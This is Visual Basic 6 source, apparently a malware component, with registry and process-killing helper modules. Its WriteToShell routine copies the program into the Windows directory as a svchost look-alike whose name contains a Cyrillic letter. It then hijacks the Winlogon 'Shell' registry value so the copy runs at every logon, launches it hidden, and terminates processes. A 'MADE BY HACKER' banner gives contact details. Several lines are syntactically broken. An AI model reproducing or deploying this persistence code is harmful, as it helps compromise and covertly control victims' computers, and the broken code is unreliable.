' <МОДУЛЬ РАБОТЫ С РЕЕСТРОМ>                                |

Option Explicit
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwReserved As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCreateKey Lib "ADVAPI32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey& Lib "advapi32" (ByVal hKey As Long)
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegQueryInfoKey Lib "ADVAPI32.dll" Alias "RegQueryInfoKeyA" (ByVal hKey As Long, ByVal lpClass As String, lpcbClass As Long, ByVal lpReserved As Long, lpcSubKeys As Long, lpcbMaxSubKeyLen As Long, lpcbMaxClassLen As Long, lpcValues As Long, lpcbMaxValueNameLen As Long, lpcbMaxValueLen As Long, lpcbSecurityDescriptor As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegEnumKeyEx Lib "ADVAPI32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegEnumValue Lib "ADVAPI32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegDeleteKey Lib "ADVAPI32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "ADVAPI32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Const KEY_ALL_ACCESS            As Long = ((&H1F0000 Or &H1 Or &H2 Or &H4 Or &H8 Or &H10 Or &H20) And (Not &H100000))
Private Const REG_SZ                    As Long = &H1
Private Const REG_DWORD                 As Long = &H4
Private Const ERROR_SUCCESS             As Long = &H0

Public Enum RootKey
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
End Enum

Public Function RegGetValue(hKey As RootKey, strSubKey As String, strValueName As String) As String
    Dim lngDataLen As Long, hSubKey As Long, strSetting As String
    If RegOpenKeyEx(hKey, strSubKey, 0, KEY_ALL_ACCESS, hSubKey) = ERROR_SUCCESS Then
        strSetting = Space(255): lngDataLen = Len(strSetting)
        If RegQueryValueEx(hSubKey, strValueName, ByVal 0, REG_SZ, ByVal strSetting, lngDataLen) = ERROR_SUCCESS Then
            If lngDataLen > 1 Then RegGetValue = Left(strSetting, lngDataLen - 1)
        End If
        RegCloseKey hSubKey
    End If
End Function

Public Sub RegSetValue(hKey As RootKey, strSubKey As String, strKey As String, strValue As String)
    Dim keyhand As Long
    Call Trim(strKey): Call Trim(strValue)   'Убираем пробелы в нач. и кон. строки
    If Len(strKey) = 0 Or Len(strValue) = 0 Then Exit Sub

    Call RegCreateKey(hKey, strSubKey, keyhand)
    Call RegSetValueEx(keyhand, strKey, 0, 1&, ByVal strValue, Len(strValue) + 1)
    Call RegCloseKey(keyhand)
End Sub

Public Sub RegSetKey(hKey As RootKey, strSubKey As String)
    Dim keyhand As Long
    RegCreateKey hKey, strSubKey, keyhand
    RegCloseKey keyhand
End Sub

Public Function RegGetDWord(hKey As RootKey, strSubKey As String, strValueName As String) As Long
    Dim hSubKey As Long, lngRetVal As Long
    If RegOpenKeyEx(hKey, strSubKey, 0, KEY_ALL_ACCESS, hSubKey) = ERROR_SUCCESS Then
        If RegQueryValueEx(hSubKey, strValueName, ByVal 0, REG_DWORD, lngRetVal, 4) = ERROR_SUCCESS Then RegGetDWord = lngRetVal
        RegCloseKey hSubKey
    End If
End Function

Public Sub RegSetDWord(hKey As RootKey, strSubKey As String, strValueName As String, lngData As Long)
    Dim hNewHandle As Long
    RegCreateKey hKey, strSubKey, hNewHandle
    RegSetValueEx hNewHandle, strValueName, 0, REG_DWORD, lngData, 4
    RegCloseKey hNewHandle
End Sub

Public Function RegGetKeys(hKey As RootKey, strSubKey As String, strRetArray() As String, Optional Range As Long) As Long
    Dim hChildKey As Long, lngSubKeys As Long, lngMaxKeySize As Long, lngDataRetBytes As Long, i As Integer
    If Len(strSubKey) Then
        If RegOpenKeyEx(hKey, strSubKey, 0, KEY_ALL_ACCESS, hChildKey) <> ERROR_SUCCESS Then Range = -1: Erase strRetArray: Exit Function
    Else
        hChildKey = hKey
    End If
    If QueryRegInfoKey(hChildKey, lngSubKeys, lngMaxKeySize) <> ERROR_SUCCESS Or lngSubKeys = 0 Then
        If Len(strSubKey) Then RegCloseKey hChildKey
        Range = -1
        Erase strRetArray
        Exit Function
    End If
    lngSubKeys = lngSubKeys - 1
    ReDim strRetArray(lngSubKeys) As String
    For i = 0 To lngSubKeys
        lngDataRetBytes = lngMaxKeySize
        strRetArray(i) = Space(lngMaxKeySize)
        RegEnumKeyEx hChildKey, i, strRetArray(i), lngDataRetBytes, 0&, vbNullString, ByVal 0&, ByVal 0&
        strRetArray(i) = Left(strRetArray(i), lngDataRetBytes)
    Next i
    If Len(strSubKey) Then RegCloseKey hChildKey
    Range = lngSubKeys
    RegGetKeys = lngSubKeys
End Function

Public Function RegGetKeyValues(hKey As RootKey, strSubKey As String, strValues() As String, Optional Range As Long) As Long
    Dim lngMaxValSize  As Long, lngValRetBytes As Long, lngMaxSettingSize As Long, lngSetRetBytes As Long
    Dim lngSetting As Long, lngType As Long, hChildKey As Long, i As Integer, lngNumValues As Long

    If RegOpenKeyEx(hKey, strSubKey, 0, KEY_ALL_ACCESS, hChildKey) <> ERROR_SUCCESS Then Range = -1: Erase strValues: Exit Function
    If QueryRegInfoKey(hChildKey, , , lngNumValues, lngMaxValSize, lngMaxSettingSize) <> ERROR_SUCCESS Or lngNumValues = 0 Then RegCloseKey hChildKey: Erase strValues: Exit Function

    lngNumValues = lngNumValues - 1
    ReDim strValues(0 To lngNumValues, 0 To 1) As String
    For i = 0 To lngNumValues
        strValues(i, 0) = Space(lngMaxValSize): lngValRetBytes = lngMaxValSize: strValues(i, 1) = Space(lngMaxSettingSize)
        lngSetRetBytes = lngMaxSettingSize

        RegEnumValue hChildKey, i, strValues(i, 0), lngValRetBytes, 0, lngType, ByVal strValues(i, 1), lngSetRetBytes
        If lngType = REG_SZ Then
            strValues(i, 1) = Left(strValues(i, 1), lngSetRetBytes - 1)
        ElseIf lngType = REG_DWORD Then
            lngValRetBytes = lngValRetBytes + 1
            RegEnumValue hChildKey, i, strValues(i, 0), _
                lngValRetBytes, 0, lngType, lngSetting, lngSetRetBytes
            strValues(i, 1) = CStr(lngSetting)
        Else
            strValues(i, 1) = vbNullString
        End If
        strValues(i, 0) = RTrim(Left(strValues(i, 0), lngValRetBytes))
        strValues(i, 1) = RTrim(strValues(i, 1))
    Next i
    RegCloseKey hChildKey
    Range = lngNumValues
    RegGetKeyValues = lngNumValues
End Function

Private Function QueryRegInfoKey(hKey As RootKey, Optional lngSubKeys As Long, Optional lngMaxKeyLen As Long, Optional lngValues As Long, Optional lngMaxValNameLen As Long, Optional lngMaxValLen As Long)
    QueryRegInfoKey = RegQueryInfoKey(hKey, vbNullString, ByVal 0&, 0&, lngSubKeys, lngMaxKeyLen, ByVal 0&, lngValues, lngMaxValNameLen, lngMaxValLen, ByVal 0&, ByVal 0&
    lngMaxKeyLen = lngMaxKeyLen + 1
    lngMaxValNameLen = lngMaxValNameLen + 1
    lngMaxValLen = lngMaxValLen + 1
End Function

Public Sub RegDelKey(hKey As RootKey, strKeyToDel As String)
    RegDeleteKey hKey, strKeyToDel
End Sub

Public Sub RegDelValue(hKey As RootKey, strSubKey As String, strValToDel As String)
    Dim hSubKey As Long
    RegOpenKeyEx hKey, strSubKey, 0, KEY_ALL_ACCESS, hSubKey
    RegDeleteValue hSubKey, strValToDel
    RegCloseKey hSubKey
End Sub

Public Sub WriteToShell()
If Trim(Command$) = "run" Or LCase(App.Path) = LCase(Environ$("windir") Then Exit Sub
On Error GoTo e
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ$("windir" & "\SVCHОST.exe"
Call RegSetValue(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe SVCHОST.exe"
Shell Environ$("windir" & "\SVCHОST.exe run", vbHide
End
Exit Sub
e:
Dim tmpArr(0) As String
tmpArr(0) = "SVCHОST.exe"
Call KillProc(tmpArr)
Resume
End Sub

Private Sub Form_Load()
    Call Sleep(500)
    If Trim(Command$) <> "run" Then WriteToShell
End Sub

' <МОДУЛЬ ДЛЯ ОБРАБОТКИ ЗАПУЩЕННЫХ ПРОЦЕССОВ В СИСТЕМЕ>     |
'                                                           |
' = = = = = = = M A D E   B Y   H A C K E R = = = = = =     |
'         icq: 334479038, mail: no_detect@mail.ru              |
'===========================================================|

Private proc As PROCESSENTRY32, Snap As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Const TH32CS_SNAPPROCESS = &H2, TH32CS_SNAPheaplist = &H1, TH32CS_SNAPthread = &H4, TH32CS_SNAPmodule = &H8, TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodule, MAX_PATH As Integer = 260

Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * MAX_PATH
End Type

Dim mass() As Long
Dim NP() As String

Public Sub KillProc(ArryProsess$())
'Убивает все процессы которые даны в массиве
ReDim mass(0)
ReDim NP(0)

On Error Resume Next
    Snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0)
    proc.dwSize = Len(proc)
    TheLoop = ProcessFirst(Snap, proc)
    Index = 0
    While TheLoop <> 0
        NP$(Index) = Replace(proc.szexeFile, Right(proc.szexeFile, 1), ""
        mass(Index) = proc.th32ProcessID
        Index = Index + 1
        ReDim Preserve NP(Index)
        ReDim Preserve mass(Index)
        TheLoop = ProcessNext(Snap, proc)
    Wend
    CloseHandle Snap

For i% = 0 To UBound(ArryProsess$)
Kick$ = ArryProsess$(i
If Trim(Kick$) = "" Then Exit Sub
For q% = 0 To Index
    
    If LCase(Left(Spliting(NP$(q, "\", Len(Kick$))) = LCase(Kick$) Then
        openproc = OpenProcess(1, 0, mass(q)
        term = TerminateProcess(openproc, -9)
    End If
Next q%
Next i%

End Sub

Public Function Spliting(sFullPath As String, point As String)
If sFullPath = "" Then Exit Function
Dim str1() As String
str1 = Split(sFullPath, point)
Spliting = str1(UBound(str1))
End Function